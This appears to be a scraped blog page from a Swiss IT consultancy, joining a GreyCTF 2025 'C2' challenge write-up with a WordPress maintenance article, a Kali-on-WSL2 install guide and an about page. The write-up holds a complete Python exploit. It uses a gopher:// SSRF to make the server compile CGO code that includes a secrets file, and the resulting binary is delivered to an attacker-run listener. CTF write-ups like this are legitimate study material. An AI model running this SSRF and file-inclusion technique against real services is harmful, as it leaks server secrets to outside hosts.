![desc](//images.ctfassets.net/hlpa8p7acp13/5TXSjuP5bKok7AOVungTCH/7e9789beede95be2be8a4c480941788e/desc.png)

Minimal writeup due to lack of time, but the solution is worth remembering. This challenge was solved after the competition thanks to [@Jro](https://jro.sg/CTFs/GreyCTF%20Quals%202025/C2.html)'s writeup, the author of this challenge.

c2C.py:
```
#!/usr/bin/env python3
"""
GreyCTF 2025 – C2
Exfiltrates the flag using the “CGO #define + #include” trick.

Idea recap
----------
* We can make the C2 server (running as the *admin* on 127.0.0.1)
  compile **our** Go source via the SSRF in POST /agent/{id}/execute.
* In CGO, a `/* … */  import "C"` block is treated as C code.
* With a few `#define`s we can turn  /app/secrets/flag.go  itself
  into valid C code, then print the `Flag` symbol.

Result: the compiled binary already contains the flag string, so we
just run it locally after the server uploads it to  PUT /exec.
"""

import argparse, http.server, os, subprocess, threading, time, urllib.parse, requests

##############################################################################
# HTTP listener – saves binary delivered by the challenge (PUT /exec)
##############################################################################
class BinReceiver(http.server.BaseHTTPRequestHandler):
    done = threading.Event()

    def do_PUT(self):
        ln = int(self.headers.get("Content-Length", 0))
        with open("exec", "wb") as f:
            f.write(self.rfile.read(ln))
        os.chmod("exec", 0o755)
        print("[+] PUT /exec received – binary saved ✔")
        self.send_response(204); self.end_headers()
        BinReceiver.done.set()

    def log_message(self, *_): pass

def start_listener(port: int):
    httpd = http.server.HTTPServer(("0.0.0.0", port), BinReceiver)
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    print(f"[+] Listener up on 0.0.0.0:{port}")
    return httpd

##############################################################################
def register(c2: str, payload: dict) -> str:
    """POST /register  – returns agent UUID (or raises)."""
    r = requests.post(f"{c2.rstrip('/')}/register", json=payload, timeout=15)
    r.raise_for_status()
    return r.text.strip()

##############################################################################
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--c2",        required=True, help="challenge base URL")
    ap.add_argument("--attacker",  required=True, help="public host (no scheme)")
    ap.add_argument("--port", type=int, default=80)
    args = ap.parse_args()

    public_host = args.attacker.lstrip("http://").lstrip("https://")
    start_listener(args.port)

    # 1. register a dummy agent – obtain UUID
    uuid = register(args.c2, {"agentUrl": f"http://{public_host}:{args.port}",
                              "computerName": "star-lord"})
    print(f"[+] Agent UUID: {uuid}")

    # 2. craft Go + CGO payload that prints the flag
    go_src = r'''package main
/*
#define package
#define secrets
#define var char*
#include "/app/secrets/flag.go"
#include <stdio.h>
void printflag(){ puts(Flag); }
*/
import "C"
func main(){ C.printflag() }
'''

    body = go_src.encode()

    # raw HTTP request that the gopher:// URL will replay to 127.0.0.1:8080
    raw = (f"POST /agent/{uuid}/execute HTTP/1.1\r\n"
           f"Host: 127.0.0.1:8080\r\n"
           f"Content-Type: text/plain\r\n"
           f"Content-Length: {len(body)}\r\n\r\n").encode() + body

    gopher = "gopher://localhost:8080/_" + urllib.parse.quote_from_bytes(raw, safe="")
    print("[*] SSRF payload crafted (gopher length:", len(gopher), ")")

    # 3. trigger SSRF – 400 Bad Request is OK (curl exits non-zero)
    try:
        register(args.c2, {"agentUrl": gopher, "computerName": "star-lord"})
    except requests.exceptions.HTTPError:
        print("[*] SSRF sent (curl on server expected to fail)")

    # 4. wait up to 60 s for the binary
    if not BinReceiver.done.wait(60):
        print("[!] Gave up – server never uploaded binary")
        return

    # 5. run the binary locally → prints the flag!
    print("[*] Scanning ./exec for flag …")
    with open("exec", "rb") as f:
        blob = f.read()

    import re
    m = re.search(rb"grey\{[^}]+\}", blob)
    if not m:
        print("[!] Flag pattern not found")
        return

    flag = m.group().decode()
    print("\n:tada:﻿  FLAG:", flag, "\n")

if __name__ == "__main__":
    main()
```

I used ngrok in order to act as a c2 middle man:
![setup](//images.ctfassets.net/hlpa8p7acp13/4lzLiJG4kzV6rflAa2Wmo4/c11e81dbe2e52a99e2c967ac3a32e6ea/setup.png)

setup

C2 - A GreyCTF challenge from Singapore

This challenge was based on a vulnerable bug bounty platform.

The mission webpage hackers

The Mission - Nahamcon CTF 2025

### The Challenges of Managing a WordPress Website for Your Business and How to Solve Them

In Switzerland, many businesses turn to WordPress to manage their online presence, and for good reason: its flexibility and ease of use make it a powerful tool. However, this accessibility can quickly turn into a nightmare if your site's maintenance is not taken seriously. Whether it's security issues, performance, or e-commerce integration, managing a WordPress site requires constant attention. This article delves into the most common challenges faced by Swiss businesses when managing a WordPress site and offers tailored solutions to overcome them.

![wordpress logo vintage](//images.ctfassets.net/hlpa8p7acp13/5notyxaRUd3XtgZcZnbpDg/f1d8fe5b418ac351ea2c5d00cdf6e693/wordpress-1810632_640-1-.jpg)

### 1. Security Issues: A Major Concern for Businesses

**The Problem:**  
WordPress, being the most widely used CMS in the world, is a prime target for cyberattacks. Swiss businesses, especially those handling sensitive data or e-commerce transactions, must be extremely vigilant.

![Wordpress bloodbath](//images.ctfassets.net/hlpa8p7acp13/3yxBesWqwCGfcO0BnvfQh7/de3923dc5201b8c2c1fa1f59fc4bd4a0/1702346162_back-1-.jpg)

**The Solution:**  
To strengthen your site’s security, start by regularly updating WordPress, your themes, and your plugins. Ensure that automatic updates are enabled for all plugins you are using. It’s also wise to remove any unused plugins. Enable two-factor authentication (2FA) for admin logins directly from your profile, and install a robust security plugin like Wordfence, Sucuri, or even WPCerber, which offer additional configuration options to enhance your security posture. Another best practice is to limit the number of login attempts before locking out users and to regularly change your passwords.

### 2. Slow Performance: A Hindrance to Conversion

**The Problem:**  
A slow site is not only frustrating for users, but it can also hurt your SEO and sales. In Switzerland, where service quality is crucial, a slow site can quickly cost you customers.

**The Solution:**  
Optimize your site’s speed by using caching tools like WP Rocket or W3 Total Cache. Reduce image sizes with plugins like Smush, and consider using a content delivery network (CDN) to speed up page loading for Swiss and international users. For e-commerce sites, consider upgrading to dedicated or VPS hosting, as shared hosting may become insufficient as your store grows.

### 3. Plugin Management: Too Much is Too Much

**The Problem:**  
It’s tempting to add numerous plugins to enhance your site’s functionality. However, too many plugins can slow down your site, cause conflicts, and create security vulnerabilities.

**The Solution:**  
Conduct regular audits of your plugins and deactivate those that are not essential. Try to find multifunctional plugins to reduce the total number installed. Ensure each plugin is regularly updated by its developers and compatible with the latest version of WordPress.

### 4. Compatibility Issues: A Technical Headache

**The Problem:**  
Conflicts between plugins or between a plugin and your theme can cause critical errors, malfunctions, or even bring your site down.

**The Solution:**  
Use a staging environment to test updates and new plugins before applying them to your live site. Always choose plugins and themes that are well-rated and regularly updated. Consider creating a maintenance plan where all changes are first tested on a development site.

### 5. Content Management: A Challenge for Engagement

**The Problem:**  
A WordPress site requires continuous content management to stay relevant. For Swiss businesses, this may include managing multilingual content, frequent updates, and SEO optimization.

**The Solution:**  
Use an editorial calendar to plan your posts in advance. For Swiss businesses, a plugin like WPML or Polylang can be useful for managing content translations in multiple languages. Automate certain tasks with plugins like Yoast SEO for optimization and Buffer for social media sharing.

### 6. E-commerce Issues: Complex Transaction Management

**The Problem:**  
WordPress e-commerce sites (via WooCommerce) bring additional challenges: stock management, payment security, user experience, and legal compliance (such as GDPR in Switzerland or VAT calculation based on shipping zones).

**The Solution:**  
To secure transactions, install an SSL certificate and use secure payment gateways like Stripe or PayPal. Ensure your site complies with Swiss legal standards, particularly for data protection, using plugins like Complianz. For stock management, WooCommerce can be enhanced with advanced stock management plugins. Finally, regularly test the user experience to optimize the purchasing journey and reduce cart abandonment.

### 7. Lack of Backups: An Unnecessary Risk

**The Problem:**  
Without an effective backup strategy, you risk losing all your data in the event of a crash, attack, or technical issue.

**The Solution:**  
Implement regular automatic backups with plugins like UpdraftPlus or BackupBuddy. Store your backups on external servers or in the cloud to avoid data loss in case of a primary server failure. For Swiss businesses, storing backups in local data centers like Infomaniak, which offers 7 days of backup with your hosting, can also ensure better compliance with data protection regulations.

[![medium rectanglewordpress fr-1-](//images.ctfassets.net/hlpa8p7acp13/69XLdrS1PpuWmLFrsf4YeL/addc724d4a4a76e04ec2bdc4916bdb7a/medium_rectanglewordpress_en-1-.jpg)](https://www.infomaniak.com/goto/en/my-easy-site?utm_term=628cc5ea49f2e "Launch a Wordpress website now")

### 8. Limited Technical Support: A Barrier to Growth

**The Problem:**  
Managing a WordPress site without technical support can be stressful. In case of a problem, you may lose time and money trying to resolve issues on your own.

**The Solution:**  
Hire a specialized WordPress maintenance agency based in Switzerland like **Synthweb**. This ensures you receive quality technical support, available in French or English, with faster response times. Additionally, a local agency will better understand the specifics of the Swiss market, ensuring maintenance tailored to your business needs.

### Conclusion  
Managing a WordPress website for your business in Switzerland can be a challenging journey. Between security issues, performance, content management, and specific e-commerce challenges, regular maintenance is crucial to ensuring the success of your site. By taking preventive measures and relying on reliable technical support like **Synthweb**, you can overcome these obstacles and guarantee a robust and high-performing online presence, essential for the growth of your business.

This article explores the common challenges faced by Swiss businesses when managing a WordPress website, including security risks, slow performance, plugin conflicts, content management, and e-commerce complexities. It provides practical solutions to overcome these issues, emphasizing the importance of regular maintenance and specialized technical support. With insights tailored to the Swiss market, the article serves as a comprehensive guide for ensuring a secure, high-performing, and legally compliant WordPress site, essential for business growth and success in Switzerland.

Synthweb's Maintenance rats working on Wordpress websites

Maintenance rats Wordpress website - article

Maintaining a Wordpress website in Switzerland

Regardless of the thorough official documentation, installing Kali on WSL 2 was not as easy as Network Chuck made me expect. Since my beginnings in IT, I had taken a habit of launching virtual machines with third party softwares like VirtualBox or VmWare, in order to have the distribution I need, at my disposal. Resources are shared between the host's operating system and the one of the virtual machine. Which makes using both at the same time a computer killer from time to time, especially if you have less than 16Gb of RAM on your workstation...

### Install Kali Linux like it was an app, directly from the microsoft store
That's a promising thought, and I tried it immediately. I recently needed to reproduce the environment of a production server. I managed to install Ubuntu directly from the Microsoft store, in 1 click, and using it was pretty smooth. I had indeed access to an Ubuntu Cli directly from the good old Windows search bar, and could easily run the needed stuff to make my development version work.

After that experience, and mostly after a competition on which I mainly struggled with my components, I figured I should give it a shot for Kali. Here's how to proceed, with administrator rights on a Powershell window, according to the official Kali distribution's documentation:

![Install Kali with WSL 2](//images.ctfassets.net/hlpa8p7acp13/3x5OeJeGiemw7tcb94pQmd/35874800660416bdadaadbadd16e214d/kali1.png)

Easy peasy! And we now have access to Kali Linux's command line interface, running as an app on our PC. Now it's time to update and upgrade the new machine, with the apropriate package manager, like we do at every new VM. However that's when the problems began:

![Nothing to restart...](//images.ctfassets.net/hlpa8p7acp13/1AyN3FCNMWucbcsTXhisx0/ec4c5476a3c5c8320867c1bb15238e90/kali2.png)

Indeed, running the command doesn't throw an error message, but will stay undefinitely hanging on the line "Nothing to restart".

```bash
┌──(starlord㉿synthweb)-[~]
└─$ sudo apt upgrade -y
```

Response:
```ruby
Unpacking libc6:amd64 (2.38-10) over (2.37-12) ...
Setting up libc6:amd64 (2.38-10) ...
Checking for services that may need to be restarted...
Checking init scripts...
Nothing to restart.
```

### Troubleshooting installation errors

This error is relative to the Linux environment, which can't find systemd services to restart for the last package in the list, then hangs when no running service is found.

Thankfully, there are a few ways to get out of it:

#### 1. Direct and dirty way

**If you followed the official Kali documentation and you encountered the error describe above, the rest is for you. If you didn't attempt an upgrade yet, you can skip to point 2**.

The first thing to do is to reopen a new Powershell window and run Kali again:

```powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. Tous droits réservés.

Testez le nouveau système multiplateforme PowerShell https://aka.ms/pscore6

PS C:\Users\starlord> wsl -l -v
  NAME                   STATE           VERSION
* docker-desktop         Running         2
  Ubuntu                 Stopped         2
  docker-desktop-data    Stopped         2
  kali-linux             Running         2
PS C:\Users\starlord> wsl -s kali-linux
L’opération a réussi.
PS C:\Users\starlord> wsl
```
- `-l` for a list of locally installed distributions,
- `-v` pour more verbosity,
- `-s` for `--set-default`, or the default behavior of the `wsl` command alone

Inside Kali's command line, you can use the following commands to quickly recover your apt and dpkg, stop the failing upgrade:

```bash
# show a list of running processes
$ ps aux 

# kill processes
$ sudo kill -9 <pid>

# might throw an error
$ sudo dpkg --configure -a

$ sudo apt purge libc6

$ sudo apt install -f libc6
$ sudo apt install -f libc-bin
$ sudo apt install -f
$ sudo apt upgrade 
# to finish what was started
```

#### 2. Clean and error free method

The `libc6` package is an essential package, containing shared C GNU libraries, allowing for most distributions like Debian or Kali to run. The problem can be overcome with the following commands, if you didn't start the upgrade yet:

```bash
$ sudo apt update
$ sudo apt purge libc6
$ sudo apt install -f libc-bin -y
$ sudo apt install -f libc6 -y
$ sudo apt upgrade
```

`-f` for `--fix-broken` which will repair the target components' installation.

*If you need to delete your Kali Linux installation, you can do it in 2 steps, once Kali is shutdown with `--terminate`. It needs to be deleted from the Windows applications or programs, by looking for it in the Windows search bar, then typing the following commands in your priviledged Powershell window:* 

```powershell
PS C:\Users\starlord> wsl -t kali-linux
PS C:\Users\starlord> wsl --unregister kali-linux
```

### Install a GUI and Win-KeX for optimal integration

Now that Kali is finally upgraded properly, it's time to install some quality of life components, like a GUI and Win-KeX. Still inside Kali's command line:

```bash
$ sudo apt install kali-desktop-xfce -y

$ sudo apt install -y kali-win-kex
```

With Win-KeX, it is possible to quickly lauch the Kali desktop, like a Windows app, in 3 different modes, with sound portage.

```bash
# Window Mode
$ kex --win -s

# Seamless Mode
$ kex --sl -s

# Enhanced Session Mode
$ kex --esm --ip -s
```

H4ppy pentesting!

![Kali Windows KeX on WSL 2](//images.ctfassets.net/hlpa8p7acp13/4fSINm2ceSGiNRGmwEZfOt/fc7689e8e6662611807d96da9529f5f1/kali3.webp)

Installing Kali Linux on your Windows machine, with Windows Subsystem for Linux (WSL) is a major tool in you pentester arsenal. Here's how to do it in 2024.

Bureau Kali sur Windows 10

Install Kali Linux on Windows 10 with WSL 2 in 2024

### Synthweb?

In a world where computing is becoming increasingly complex, in a constant effort to defend critical points such as user data and responsible internet use, it can sometimes be hard to navigate.

Especially if computing is not your cup of tea.

![tea-kermit](//images.ctfassets.net/hlpa8p7acp13/7bJSqONAjFaNwOnKZBsw0e/75241ab85789d519f60658dde1571104/tea-good.webp)

### Who is Synthweb?

As a former waiter in the hospitality industry now managing computer servers, my true passion is helping my clients take control of their image and/or online presence. My skills come from a blend of personal and self-taught research, staying current with developments, and guidance from several active researchers in computing who have written articles or guided me towards better understanding and security posture. The goal of Synthweb is to enhance the IT posture for businesses or individuals with specific challenges and current tools for a safer web.

![travolta-network-confused](//images.ctfassets.net/hlpa8p7acp13/3aOgtqnEk8vOQYIgHMXaDc/5cd266d231440de6527786153ecd6ed7/travolta-network-confused.webp)

### Internet as an Artistic Expression

I appreciate art in all its forms and gladly support Swiss artists whenever I have the chance. Designing and showcasing a portfolio are fun projects that allow me to take time to explore new visual solutions with CSS, JavaScript, and various other tools. I create your site or modify the existing one with the desired code.

### Business Computing

I am happy to conduct research and find solutions to IT problems related to the use of your existing products, or I can help you transition with the tools of your choice while retaining your data. API, GraphQL, integrations—there are solutions to everything!

![gifs-et-emojis-stars-du-crm-digital-paroles-dexpert](//images.ctfassets.net/hlpa8p7acp13/3dRx8QIbVTxlXSjSg0AdIs/ac3c79e859a3757e0133f48c715deaef/gifs-et-emojis-stars-du-crm-digital-paroles-dexpert.webp)

### Installation and Configuration of Your Work Environments

Many IT services intended for entrepreneurial activities require more or less advanced configuration and more or less code-free solutions. Synthweb can assist you in configuring and getting started with projects such as installing new work tools. From accounting software to Customer Relationship Management (CRM) and setting up emails for your employees, Synthweb assists you in the process of adopting the solution best suited to your activity.

Synthweb makes websites for individuals and professionals, IT support, integrates your worktools, configures your CRM or other customisable softwares, updates, maintenance, migrates your websites or emails, etc...

The cyber-blog

C2 - A GreyCTF challenge from Singapore

The Mission - Nahamcon CTF 2025

Maintaining a Wordpress website in Switzerland

Install Kali Linux on Windows 10 with WSL 2 in 2024

Nahamcon Catch-The-Flag 2024

Synthweb